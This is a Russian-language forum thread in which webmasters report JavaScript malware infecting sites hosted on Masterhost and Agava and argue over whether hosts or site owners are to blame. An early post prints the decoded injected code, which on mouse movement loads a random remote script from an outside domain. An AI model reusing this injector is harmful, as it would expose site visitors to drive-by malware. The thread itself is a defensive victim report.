Осторожно - MasterHost. (вирусы)
 

Есть кто хостится на Masterhost ??

за последние 2 месяуа задолбался вычищать вирусы с сайтов.

5 случаев заражения на разных площадках. причем на последнюю больше 2х месяцев никто не заходил ни по ФТП ни в админку сайта.

Вируc заражает *.js файлы, добавляя в конец каждого вредоносный обфусцированный код. при раскодировании кода получается следущее

function() ** var url = 'http://stixbktguw.from-wy.com/g/';
if (typeof window.xyzflag === 'undefined') ** window.xyzflag = 0; **
document.onmousemove = function() **
if (window.xyzflag === 0) **
window.xyzflag = 1;
var head = document.getElementsByTagName('head')[0];
var script = document.createElement('script');
script.type = 'text/javascript';
script.onreadystatechange = function () **
if (this.readyState == 'complete') ** window.xyzflag = 2;
**;
script.onload = function() **
window.xyzflag = 2; **; script.src = url + Math.random().toString().substring(3) + '.js'; head.appendChild(script); ** **;
**)();


То есть на страницы подгужается случайный файл с кодом.
зараженные файлы увеличиватюся на 12 кб.



До этого были случи заражения другим вирусом, который дописывал iframe со своим кодом в конец всех индексных страниц. (index.* main.*) независимо от расширения файла

Ну так может у тебя шелл залит?

пока не нашел. И если на 2 сайта я допускаю проникновение через троянов на моей машине, то три других сайта полность исключаю, не коннектился по фтп долгое время, а опасность пошла недавно.

Да и не один я жалуюсь, почитайте отзывы о данном Хостере. Они вообще не проверят свои площадки антивирусом, как написано в их ФАКьЮ

Видимо дыра где то у хостера. У меня на зеноне тож было как-то, неделю вирусней заражались все сайты. Из _полумер_ - прикрыл на запись файло, перестало. Пока сам хостер не сподобился дыру закрыть - так и ломились. А где она была - х.з. молчат партизаны.

дырка очень простая.. у них php работает по умолчанию nobody, если у тебя папки где-то стоят права 777, вот тебе и дырка для захода с другого аккаунта.

6-profi >Ну да, есть папочка public, Есть способ прикрыть лазейку ??

Аналогичная хрень на Агаве...
От чистого сердца: не покупайте этот хост!!!

много проектов на Агаве и на мастерхосте, никаких проблем нет, проблема не в хостерах, а либо кривых руках разработчиков, которые даже не соизволят посмотреть логи веб серверов и FTP серверов и узнать каким образом к ним попало постороннее, либо, как говорят системные администраторы "Порно сайты" - в которых полно троянов, ворующих пароли от FTP в частности.

[quote=cv;24180125] много проектов на Агаве и на мастерхосте, никаких проблем нет, проблема не в хостерах, а либо кривых руках разработчиков, которые даже не соизволят посмотреть логи веб серверов и FTP серверов и узнать каким образом к ним попало постороннее, либо, как говорят системные администраторы "Порно сайты" - в которых полно троянов, ворующих пароли от FTP в частности. [/quote]

Т.е. заплатив за хостинг, я еще обязан постоянно смотреть логи, менять пароли фтп итд?!
Может ну его на такие хосты?
Кстати, Агава даже не удосуживается создать у себя на виртуальном сервере папку логов. Это должен делать пользователь хоста.

МастерХост не предоставляет логи доступа к ФТП. Когда просил, они мне только сказали, что вирус загружен по фтп такого то числа с такого то ИП. IP этот они заблокировали, и все.

[quote=АВИ®;24219506] Цитата: Сообщение от cv много проектов на Агаве и на мастерхосте, никаких проблем нет, проблема не в хостерах, а либо кривых руках разработчиков, которые даже не соизволят посмотреть логи веб серверов и FTP серверов и узнать каким образом к ним попало постороннее, либо, как говорят системные администраторы "Порно сайты" - в которых полно троянов, ворующих пароли от FTP в частности. Т.е. заплатив за хостинг, я еще обязан постоянно смотреть логи, менять пароли фтп итд?! Может ну его на такие хосты? Кстати, Агава даже не удосуживается создать у себя на виртуальном сервере папку логов. Это должен делать пользователь хоста. [/quote]
Вы считаете что сделав дырявые скрипты и разместив их проблема хостера, а не ваша?
Вообще-то нужно следить за работой своих творений путем просмотра хоть с какой-то периодичностью, лучше журналов пока еще ничего не придумали.

12-cv > в этом полностью согласен

[quote=АВИ®;24219506]Т.е. заплатив за хостинг, я еще обязан постоянно смотреть логи, менять пароли фтп итд?! Может ну его на такие хосты? Кстати, Агава даже не удосуживается создать у себя на виртуальном сервере папку логов. Это должен делать пользователь хоста. [/quote]
не смотрите
тока тада какие притензии?
если юзер криво настраивает свои скрипты - то причем тут хостер?
а если у юзера пароли стянули через какую-нить хрень - тоже хостер виноват?

ну и менять пароли конечно не надо, пусть легкие или дефолтные стоят ...
ЗЫ
как мне надоели постоянные письма банилки ссш ...
ломятся постоянно ...
а за юзера никто из хостеров просто так следить за его хозяйством не будет
например, я могу себе или по просьбе клиента настроить банилку по той же 404 , но за ней следить надо, а то может и полезное побанить